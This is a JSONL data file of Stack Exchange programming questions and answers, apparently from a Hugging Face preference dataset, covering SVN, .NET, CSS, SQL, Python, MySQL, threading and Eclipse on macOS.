{"id": "hf_a4d42c884304", "question": "<p>Just a small SVN \"problem\" here.</p>\n\n<p>I setup my own SVN server <a href=\"https://blog.codinghorror.com/setting-up-subversion-on-windows/\" rel=\"nofollow noreferrer\">Setting up Subversion on Windows</a></p>\n\n<p>Now I made a rep in which all my projects will go.</p>\n\n<p>Now, I checked the rep out in a folder called \"Projects\".</p>\n\n<p>Now If I make a project and check it in, that project is revision 1. If I make a second project, and check it in, that Project is at revision 2. Thus, if I make a change to Project 1, that project will then be at Revision 3.</p>\n\n<p>What I would really want is for each project to have its own revision scheme. How do I do this? </p>\n", "question_body": "", "answer": "The only way is to have each project in a completely separate repository.  Items within the same repository will always exhibit the behavior you mentioned in your question.\nFrom Here\nUnlike those of many other version control systems, Subversion's revision numbers apply to entire trees, not individual files. Each revision number selects an entire tree, a particular state of the repository after some committed change.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.155324"}
{"id": "hf_639becc2c32d", "question": "<p>We have been using GenuineChannels in our product for the last 4 years. GenuineChannels now appears to have become unsupported and the main developer guy Dmitri has I think joined Microsoft. I have the source as part of the product but not the networking / .net knowledge to support it.</p>\n\n<p>Has anyone found a good alternative to GenuineChannels for good .net remoting? I need our software product to run on top of some supported software!</p>\n", "question_body": "", "answer": "WCF (Windows Communication Foundation) is the way to go - much more scalable, easily swappable to other technologies (if you need in the future), and builtin to .NET 3.0.\nA lot of other nice stuff there, too...\nhttp://msdn.microsoft.com/en-us/netframework/aa663324.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.176638"}
{"id": "hf_2175dc68ffe3", "question": "<p>Like the title says, how do you create custom code snippets in Visual Studio 2008?</p>\n", "question_body": "", "answer": "Here's a link to a utility for Creating/editing Snippets. It works for more languages than just VB despite the classification in the link.\nhttp://msdn.microsoft.com/en-us/vbasic/bb973770.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.199575"}
{"id": "hf_e8f27c9cba17", "question": "<p>Documentation can be found <a href=\"http://github.com/madrobby/scriptaculous/wikis/droppables\" rel=\"nofollow noreferrer\">here</a></p>\n\n<p>It says in the example:</p>\n\n<p><strong>onDrop:\nCalled whenever a Draggable is released over the Droppable and the Droppable is accepts it. The callback gets three parameters: the Draggable element, the Droppable element and the Event. You can extract additional information about the drop – like if the Ctrl or Shift keys were pressed – from the Event object.</strong></p>\n\n<p>Then it gives some code</p>\n\n<p>Droppables.add('shopping_cart', {\n  accept: 'products',\n  onDrop: function(element) {\n    $('shopping_cart_text').update('Dropped the ' + element.alt + ' on me.');\n  }\n});</p>\n\n<p>It uses the ambiguous word 'element' in the code.  <strong>My question is, does anyone have a good example on how to reference the draggable element and the droppable element in this callback javascript function?</strong></p>\n", "question_body": "", "answer": "Going by the example further down the page, the callback function can take as many of the parameters as you need:\n```\n```\nonDrop: function() { $('droppable_demo').highlight(); }\n```\n```\nIn this case, they have used none of the callback parameters.  To this end, presumably to access all three as mentioned in the paragraph you quoted, you can define:\n```\n```\nonDrop: function(dragged, dropped, event) {  }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.257286"}
{"id": "hf_af6daadae7bb", "question": "<p>My website makes a lot of requests. I often need to cancel all current requests, so that the browser is not blocking relevant new requests.</p>\n\n<p>I have 3 kinds of requests:</p>\n\n<ul>\n<li>Ajax</li>\n<li>inserted script-tags (which do JSONP-Communication)</li>\n<li>inserted image-tags (which cause the browser to request data from various servers)</li>\n</ul>\n\n<p>For Ajax its no problem as the XMLHttpRequest object supports canceling.\nWhat I need is a way to make any browser stop loading resources, from DOM-Objects.</p>\n\n<p>Looks like simply removing an object (eg. an image-tag) from the DOM only helps avoiding an request, if the request is not already running.</p>\n\n<p><strong>UPDATE:</strong> a way to cancel all requests, which are irrelevant, instead of really any request would be perfect. </p>\n", "question_body": "", "answer": "I think\n```\ndocument.close()\n```\nstops all requests, but I'm not so sure about it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.280643"}
{"id": "hf_7d21304ff9ac", "question": "<p>I am re-designing an application for a ASP.NET CMS that I really don't like. I have made som improvements in performance only to discover that not only does this CMS use MS SQL but some users \"simply\" use MS Access database.</p>\n\n<p>The problem is that I have some tables which I inner join, that with the MS Access version are in two different files. I am not allowed to simply move the tables to the other mdb file.</p>\n\n<p>I am now trying to figure out a good way to \"inner join\" across multiple access db files?</p>\n\n<p>It would really be a pity if I have fetch all the data and the do it programmatically!</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "If you have access to the MDBs, and are able to change them, you might consider using Linked Tables. Access provides the ability to link to external data (in other MDBs, in Excel files, even in SQL Server or Oracle), and then you can perform your joins against the links.\nI'd strongly encourage performance testing such an option. If it's feasible to migrate users of the Access databases to another system (even SQL Express), that would also be preferable -- last I checked, there are no 64-bit JET drivers for ODBC anymore, so if the app is ever hosted in a 64-bit environment, these users will be hosed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.302409"}
{"id": "hf_bec71b3e480f", "question": "<p>Does anyone have a good guide to capabilities of Windows Services under XP? In particular, I am trying to find out what happens when a program being run as a service tries to open windows, but hasn't been given permission to interact with the desktop.</p>\n\n<p>Basically, I have a program that is/was a GUI application, that should be able to run as a service for long term background processing. Rewriting the program to not display the GUI elements when doing background processing is a major effort, so I'd like to see if there is just a way to ignore the UI elements. It is sort of working now, as long as too many windows aren't opened. I'm trying to figure out what limits I might be running into. Ideally, there would be an MSDN page that discusses this, but I've had no luck finding one yet.</p>\n", "question_body": "", "answer": "A\nservice\nin Microsoft Windows is a program that runs whenever the computer is running the operating system. It does not require a user to be logged on. Services are needed to perform user-independent tasks such as directory replication, process monitoring, or services to other machines on a network, such as support for the Internet HTTP protocol\nUsually it is implemented as a console application that runs in the background and performs tasks that don't require user interaction.\nThe installed services can be configured through the Services applet, available from\n```\nControl Panel --> Administrative Tools\n```\nin Windows 2000/XP.\nServices can be configured to start automatically when operating system starts, so you dont have to start each of them manually after a system reboot.\nCreating a Simple Service - MSDN Article\nWriting Windows Services Made easy - Code Project Article\nFive Steps to Writing Windows Services in C - DevX Article", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.351182"}
{"id": "hf_b9ce2c7b0564", "question": "<p>I know this is probably the dumbest question ever, however I am a total beginner when it comes to CSS; how do you hyperlink an image on a webpage using an image which is sourced from CSS? I am trying to set the title image on my website linkable to the frontpage. Thanks!</p>\n\n<p><strong>Edit:</strong> Just to make it clear, I'm sourcing my image <em>from CSS</em>, the CSS code for the header div is as follows:-</p>\n\n<pre><code>#header\n{\n    width: 1000px;\n    margin: 0px auto;\n    padding: 0px 15px 0px 15px;\n    border: none;\n    background: url(images/title.png) no-repeat bottom;\n    width: 1000px;\n    height: 100px;\n}\n</code></pre>\n\n<p>I want to know how to make this <em>div</em> hyperlinked on my webpage without having to make it an anchor rather than a div.</p>\n", "question_body": "", "answer": "That's really not a CSS thing. You still need your A tag to make that work. (But use CSS to make sure the image border is either removed, or designed to your required spec.)\n```\n```\n<a href=\"index.html\"><img src=\"foo\" class=\"whatever\" alt=\"foo alt\" /></a>\n```\n```\nEDIT: Taking original intent (updated question) into account, a new code sample is below:\n```\n```\n<a href=\"index.html\"><img id=\"header\" alt=\"foo alt\" /></a>\n```\n```\nYou're still in an HTML world for links, as described by other answers on this question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.431262"}
{"id": "hf_27682711f6fd", "question": "<p>Given an array of integers, what is the simplest way to iterate over it and figure out all the ranges it covers? for example, for an array such as:</p>\n\n<pre><code>$numbers = array(1,3,4,5,6,8,11,12,14,15,16);\n</code></pre>\n\n<p>The ranges would be:</p>\n\n<pre><code> 1,3-6,8,11-12,14-16\n</code></pre>\n", "question_body": "", "answer": "Here's a python implementation, it should be easy enough to follow\n```\n```\nnumbers = [1,3,4,5,6,8,11,12,14,15,16];\n\ndef is_predecessor(i1, i2):\n    if i1 == i2 - 1:\n        return True;\n    else:\n        return False;\n\ndef make_range(i1, i2):\n    if i1 == i2:\n        return str(i1);\n    else:\n        return str(i1) + \"-\" + str(i2);\n\nprevious_element = None;\ncurrent_start_element = None;\n\nfor number in numbers:\n    if not is_predecessor(previous_element, number):\n        if current_start_element is not None:\n            print make_range(current_start_element, previous_element);\n        current_start_element = number;\n    previous_element = number;\n\n# handle last pair\nif current_start_element is not None:\n    print make_range(current_start_element, previous_element);\n```\n```\nThis outputs:\n```\n```\n1\n3-6\n8\n11-12\n14-16\n```\n```\nI know, I know, it isn't an\nalgorithm\n, but I found it harder to actually explain it without having indentation problems than to just implement a solution for it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.464767"}
{"id": "hf_9ac40e695840", "question": "<p>Here's the code I want to speed up.   It's getting a value from an ADO recordset and converting it to a char*.   But this is slow.    Can I skip the creation of the _bstr_t?</p>\n\n<pre><code>                _variant_t var = pRs-&gt;Fields-&gt;GetItem(i)-&gt;GetValue();\n\n                if (V_VT(&amp;var) == VT_BSTR)\n                {\n                    char* p = (const char*) (_bstr_t) var;\n</code></pre>\n", "question_body": "", "answer": "This creates a temporary on the stack:\n```\n```\nUSES_CONVERSION;\nchar *p=W2A(var.bstrVal);\n```\n```\nThis uses a slightly newer syntax and is probably more robust. It has a configurable size, beyond which it will use the heap so it avoids putting massive strings onto the stack:\n```\n```\nchar *p=CW2AEX<>(var.bstrVal);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.533718"}
{"id": "hf_d83bebf70fa5", "question": "<p>I'm trying to use the page-break-inside CSS directive, the class of which is to be attached to a div tag or a table tag (I think this may only work on block elements, in which case it would have to be the table).</p>\n\n<p>I've tried all the tutorials that supposedly describe exactly how to do this, but nothing works. Is this an issue of browser support or has anyone actually gotten this working, the exact bit of CSS looks like this:</p>\n\n<pre><code>@media print {\n\n  .noPageBreak {\n     page-break-inside : avoid;\n  }\n}\n</code></pre>\n", "question_body": "", "answer": "Safari\n1.3+\n,\nOpera\n9.2+\n,\nKonquerer\n, and\nIE8\nall support it, at least to some degree.\nFirefox\napparently still does not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.557115"}
{"id": "hf_514bfb4c79a1", "question": "<p>For our Django App, we'd like to get an <code>AutoField</code> to start at a number other than 1.  There doesn't seem to be an obvious way to do this.  Any ideas?</p>\n", "question_body": "", "answer": "A quick peek at the\nsource\nshows that there doesn't seem to be any option for this, probably because it doesn't always increment by one; it picks the next available key: \"An IntegerField that automatically increments according to available IDs\" —\ndjangoproject.com", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.648597"}
{"id": "hf_05c3e9970c01", "question": "<p>I'm trying to convert an incoming sting of 1s and 0s from stdin into their respective binary values (where a string such as \"11110111\" would be converted to 0xF7). This seems pretty trivial but I don't want to reinvent the wheel so I'm wondering if there's anything in the C/C++ standard libs that can already perform such an operation?</p>\n", "question_body": "", "answer": "You can use strtol\n```\n```\nchar string[] = \"1101110100110100100000\";\nchar * end;\nlong int value = strtol (string,&end,2);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.707642"}
{"id": "hf_152681d6ba64", "question": "<p>For example if I'm working on Visual Studio 2008, I want the values devenv and 2008 or 9.</p>\n\n<p>The version number is very important...</p>\n", "question_body": "", "answer": "This\nproject\ndemonstrates the two functions you need:\nEnumWindows\nand\nGetWindowtext", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.729824"}
{"id": "hf_39a8133fcc06", "question": "<p>I am writing a .NET wrapper class for an existing native class which throws exceptions. What are the best practices for translating between native C++ exceptions and Managed exceptions? Catch and re-throw on a one-to-one basis (e.g. std::invalid_argument -> System.System.ArgumentException)? Is there a mapping already drawn up somewhere?</p>\n", "question_body": "", "answer": "There is no standard mapping that I know of.  What I've done in the past is translate the ones I know about, and a catch block for System.Runtime.InteropServices.SEHException.  All non-translated exceptions will be turned into that exception.  As long as you have a debug build of the code that is throwing the exception, you should get a nice stack trace.  Then you can go and look at the exception and write the wrapper.\nBut on the last project I had to do this on, I went with something much more simple, I ended up writing a couple of System.Exception derivatives for logic_error and runtime_error.  Then I would catch those 2 base classes and use typeid(err) to write the .NET message that got thrown.  This way I didn't \"lose\" what was being thrown from the C++ but didn't have to map everything except the most important ones.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.824844"}
{"id": "hf_eead9dd32635", "question": "<p>Is anyone aware of a (preferablly free) webservice that would accept a SOAP or REST request.</p>\n\n<p>This request would contain an IP address, and the service would return an approximation of that IP's location.</p>\n\n<p>EDIT: I need resolution down to the city of possible.</p>\n", "question_body": "", "answer": "MaxMind\ndo a fairly cheap one. You send the IP as a query string parameter, then it sends you back either a 2 letter code or an error code. We used it for quite a while before moving to our own lookup tables, and it's quick and reliable.\nFound the link:\nhttp://www.maxmind.com/app/web_services#country\n- it's $20 for 200,000 lookups which isn't bad value at all.\nEDIT: MaxMind also do a service with resolution down to the city:\nhttp://www.maxmind.com/app/web_services#city\n. It's a bit more expensive at $20 for 50,000 queries but that still isn't too bad. I can't vouch for the accuracy of this service though as I have only used the country resolution one, as that's all we need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.871217"}
{"id": "hf_ebbc4e3bc0e2", "question": "<p>I have two tables, both with start time and end time fields. I need to find, for each row in the first table, all of the rows in the second table where the time intervals intersect.</p>\n\n<p>For example:</p>\n\n<pre><code>           &lt;-----row 1 interval-------&gt;\n&lt;---find this--&gt; &lt;--and this--&gt; &lt;--and this--&gt;\n</code></pre>\n\n<p>Please phrase your answer in the form of a SQL <code>WHERE</code>-clause, AND consider the case where the end time in the second table may be <code>NULL</code>.</p>\n\n<p>Target platform is SQL Server 2005, but solutions from other platforms may be of interest also.</p>\n", "question_body": "", "answer": "```\n```\nSELECT * \nFROM table1,table2 \nWHERE table2.start <= table1.end \nAND (table2.end IS NULL OR table2.end >= table1.start)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.905323"}
{"id": "hf_a10616790835", "question": "<p>I'm searching a wsgi middleware which I can warp around a wsgi applications and which lets me monitor incoming and outgoing http requests and header fields.</p>\n\n<p>Something like firefox live headers, but for the server side.</p>\n", "question_body": "", "answer": "That shouldn't be too hard to write yourself as long as you only need the headers.  Try that:\n```\n```\nimport sys\n\ndef log_headers(app, stream=None):\n    if stream is None:\n        stream = sys.stdout\n    def proxy(environ, start_response):\n        for key, value in environ.iteritems():\n            if key.startswith('HTTP_'):\n                stream.write('%s: %s\\n' % (key[5:].title().replace('_', '-'), value))\n        return app(environ, start_response)\n    return proxy\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:49.957943"}
{"id": "hf_060d64ba2821", "question": "<p>In PHP, replace one URL with another within a string e.g. </p>\n\n<pre><code>New post on the site &lt;a href=\"http://stackoverflow.com/xyz1\"&gt;http://stackoverflow.com/xyz1&lt;/a&gt;&lt;/p&gt;\n</code></pre>\n\n<p>becomes:</p>\n\n<pre><code>New post on the site &lt;a href=\"http://yahoo.com/abc1\"&gt;http://yahoo.com/abc1&lt;/a&gt;&lt;/p&gt;\n</code></pre>\n\n<p>Must work for repeating strings as above. Appreciate this is simple but struggling!</p>\n", "question_body": "", "answer": "Use\nstr_replace()\n:\n```\n```\n$text = str_replace('http://stackoverflow.com/xyz1', 'http://yahoo.com/abc1', $text);\n```\n```\nThat will replace the first URL with the second URL in $text.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.151298"}
{"id": "hf_cae19dcccf43", "question": "<p>How do I totally disable caching in nHibernate?</p>\n", "question_body": "", "answer": "Use the IStatelessSession to bypass the first level cache:\nhttp://darioquintana.com.ar/blogging/?p=4\nIn order to use the second level cache you must explicitly configure it.  You will not use it if you don't.\nYou can also turn off lazy loading in your mappings. lazy=false.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.197340"}
{"id": "hf_820557ab0e12", "question": "<p>Not a competition, it is instead me trying to find why a certain regex works in one but not the other.</p>\n\n<pre><code>(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\n</code></pre>\n\n<p>That's my Regex and I'm trying to run it on</p>\n\n<pre><code>127.255.0.0\n</code></pre>\n\n<p>Using Pythons regex I get nothing, using PHP I match it, below are the two calls I am making (just incase it's something to do with that). Essentially I am trying to work out why it works in PHP but not Python.</p>\n\n<pre><code>re.findall(regex, string)\npreg_match_all($regex, $string, $matches);\n</code></pre>\n\n<p><hr>\nSolution found, it was due to the way that I was iterating through the results, this regex turned them into groups and then it didn't want to print them out in the same way etc etc. Thank you all for your help, it's really appreciated.</p>\n", "question_body": "", "answer": "It works for me. You must be doing something wrong.\n```\n```\n>>> re.match(r'(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)', '127.255.0.0').groups()\n('127', '255', '0', '0')\n```\n```\nDon't forget to escape the regex using raw strings:\n```\nr'regex_here'\n```\nas stated in the\nRegex Howto", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.271870"}
{"id": "hf_15712c7fc575", "question": "<p>What's the most efficient way to select the last n number of rows in a table using mySQL? The table contains millions of rows, and at any given time I don't know how large the table is (it is constantly growing). The table does have a column that is automatically incremented and used as a unique identifier for each row.</p>\n", "question_body": "", "answer": "```\n```\nSELECT * FROM table_name ORDER BY auto_incremented_id DESC LIMIT n\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.296197"}
{"id": "hf_1190c21e989a", "question": "<p>I have been interested in database developing for some time now and decided that MS SQL has a lot to offer in terms of T-SQL and generally much more functionality (not saying that Oracle or Postgres don't have that).</p>\n\n<p>I would like to know:  </p>\n\n<ol>\n<li>What are the big paradigm changes I\nshould expect to see? </li>\n<li>How much effort do \"regular\" companies put\ninto developing their database (for\ntransactions, triggers, events, data\ncleansing, ETL)? </li>\n<li>What can I expect\n    from the inner-workings of MS SQL\n    developer teams and how they\n    interact with the .NET application\n    developers?</li>\n</ol>\n\n<p>I hope I have phrased my question correctly. I am not very clued-up about the whole .NET scene.</p>\n", "question_body": "", "answer": "Can't answer #1 as I've never worked with mysql but I'll take a shot at #2 and #3.\nThis tends to depend on the size of the database and/or the size (or professionalism) of the company. Companies with large databases with many users spend a great deal of time indeed making sure that the database both has integrity and is performance tuned. They woudl lose customers if they did not. We have 6 people who do nothing but ETL work and 5 dbas who tune and manage the databases and database servers as well as many many developers who write t-sql code.\nAs far as #3, in good companies these people work together very well as a team. In bad companies, there is often tension between the two groups and each uses the other group as a scapegaoat for whatever problems occur. I work with a bunch of great .net developers. They respect my database expertise as I respect their .net expertise and we caonsult each other on design issues and tuning issues and in general any issue that needs input from both sides.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.318568"}
{"id": "hf_52a28f69d6c1", "question": "<p>I have a SQL script that creates a package with a comment containing an ampersand (&amp;). When I run the script from SQL Plus, I am prompted to enter a substitute value for the string starting with &amp;. How do I disable this feature so that SQL Plus ignores the ampersand?</p>\n", "question_body": "", "answer": "This may work for you:\n```\n```\nset define off\n```\n```\nOtherwise the ampersand needs to be at the end of a string,\n```\n```\n'StackOverflow &' || ' you'\n```\n```\nEDIT:  I was click-happy when saving...  This was referenced from a\nblog\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.342377"}
{"id": "hf_128847f2cc36", "question": "<p>I have an application where 2 threads are running... Is there any certanty that when I change a global variable from one thread, the other will notice this change? \nI don't have any syncronization or Mutual exclusion system in place... but should this code work all the time (imagine a global <strong>bool</strong> named <strong>dataUpdated</strong>):</p>\n\n<p>Thread 1:</p>\n\n<pre><code>while(1) {\n    if (dataUpdated)\n        updateScreen();\n    doSomethingElse();\n}\n</code></pre>\n\n<p>Thread 2:</p>\n\n<pre><code>while(1) {\n    if (doSomething())\n        dataUpdated = TRUE;\n}\n</code></pre>\n\n<p>Does a compiler like gcc optimize this code in a way that it doesn't check for the global value, only considering it value at compile time (because it nevers get changed at the same thred)?</p>\n\n<p>PS: Being this for a game-like application, it really doen't matter if there will be a read while the value is being written... all that matters is that the change gets noticed by the other thread.</p>\n", "question_body": "", "answer": "Use the\nvolatile\nkeyword to hint to the compiler that the value can change at any time.\n```\n```\nvolatile int myInteger;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.365071"}
{"id": "hf_0434b5fb24bd", "question": "<p>When you use the WebBrowser control in .NET you can \"embed\" an instance of IE in your application, essentially making your own IE-based Web Browser.</p>\n\n<p>Does anyone know how to make any new windows created (like when the user selects \"Open in New Window\" from the context menu) open up in another Window of Your Web Browser Application, instead of the computers default browser??</p>\n", "question_body": "", "answer": "Maybe the Source Code from this CodeProject article can help:\nExtended .NET 2.0 WebBrowser Control", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.388669"}
{"id": "hf_bae83786148d", "question": "<p>I need to allow other Python applications to register callback functions for events in my application.  These need to have priorities associated with them (so a callback with a priority of 10 runs before a callback with a priority of 1) and callback functions need to be able to signal errors to the dispatcher.</p>\n\n<p>These are all lightweight callbacks running in the same process, so I don't need to send signals across process boundaries.</p>\n\n<p>Is there a good Python library to handle this, or do I need to write my own?</p>\n", "question_body": "", "answer": "Are these other applications running in another address space? If so, you'll need to use an interprocess communication library like\nD-BUS\n.\nIf you're just sending signals in the same process, try\nPyDispatcher", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.423652"}
{"id": "hf_7bc610fb8881", "question": "<p>I'd like to use JavaScript to calculate the width of a string. Is this possible without having to use a monospace typeface?</p>\n\n<p>If it's not built-in, my only idea is to create a table of widths for each character, but this is pretty unreasonable especially supporting <a href=\"http://en.wikipedia.org/wiki/Unicode\" rel=\"noreferrer\">Unicode</a> and different type sizes (and all browsers for that matter).</p>\n", "question_body": "", "answer": "Create a DIV styled with the following styles. In your JavaScript, set the font size and attributes that you are trying to measure, put your string in the DIV, then read the current width and height of the DIV. It will stretch to fit the contents and the size will be within a few pixels of the string rendered size.\n```\n```\nvar fontSize = 12;\nvar test = document.getElementById(\"Test\");\ntest.style.fontSize = fontSize;\nvar height = (test.clientHeight + 1) + \"px\";\nvar width = (test.clientWidth + 1) + \"px\"\n\nconsole.log(height, width);\n```\n```\n```\n```\n#Test\n{\n    position: absolute;\n    visibility: hidden;\n    height: auto;\n    width: auto;\n    white-space: nowrap; /* Thanks to Herb Caudill comment */\n}\n```\n```\n```\n```\n<div id=\"Test\">\n    abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\n</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.458189"}
{"id": "hf_21cbf5d8dd86", "question": "<p>How can I open multiple Eclipse workspaces at the same time on the Mac?</p>\n\n<p>On other platforms, I can just launch extra Eclipse instances, but the Mac will not let me open the same application twice. Is there a better way than keeping two copies of Eclipse?</p>\n", "question_body": "", "answer": "EDIT:\nMilhous's answer\nseems to be the officially supported way to do this as of 10.5. Earlier version of OS X and even 10.5 and up should still work using the following instructions though.\nOpen the\ncommand line\n(Terminal)\nNavigate to your Eclipse installation folder, for instance:\n```\ncd /Applications/eclipse/\n```\n```\ncd /Developer/Eclipse/Eclipse.app/Contents/MacOS/eclipse\n```\n```\ncd /Applications/eclipse/Eclipse.app/Contents/MacOS/eclipse\n```\n```\ncd /Users/<usernamehere>/eclipse/jee-neon/Eclipse.app/Contents/MacOS\n```\nLaunch Eclipse:\n```\n./eclipse &\n```\nThis last command will launch eclipse and immediately background the process.\nRinse and repeat to open as many unique instances of Eclipse as you want.\nWarning\nYou might have to\nchange the Tomcat\nserver ports in order to run your project in\ndifferent/multiple Tomcat instances\n, see\nTomcat Server Error - Port 8080 already in use", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:50.481917"}
